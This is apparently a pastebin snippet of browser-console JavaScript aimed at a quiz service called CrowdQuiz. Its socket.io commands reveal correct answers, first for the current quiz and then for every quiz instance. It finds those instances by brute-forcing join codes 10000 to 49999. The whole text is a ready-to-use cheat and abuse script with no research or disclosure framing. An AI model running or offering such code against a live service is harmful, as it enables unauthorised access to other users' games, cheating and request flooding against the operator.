CrowdQuiz [reveal] (listed) 08.08.2019 06:36:59 (10 lines) [Edit] [Raw] [View]

// Local qr.reveal()

// Current socket.emit("RevealCorrect", {quizinstance: quizinstance});

// All socket.off('DiscoveryResponse'); socket.on('DiscoveryResponse', res => socket.emit("RevealCorrect", {quizinstance: res.quizinstance})); for (let i = 10000; i < 50000; i++) socket.emit("DiscoveryRequest", {code: i + ''});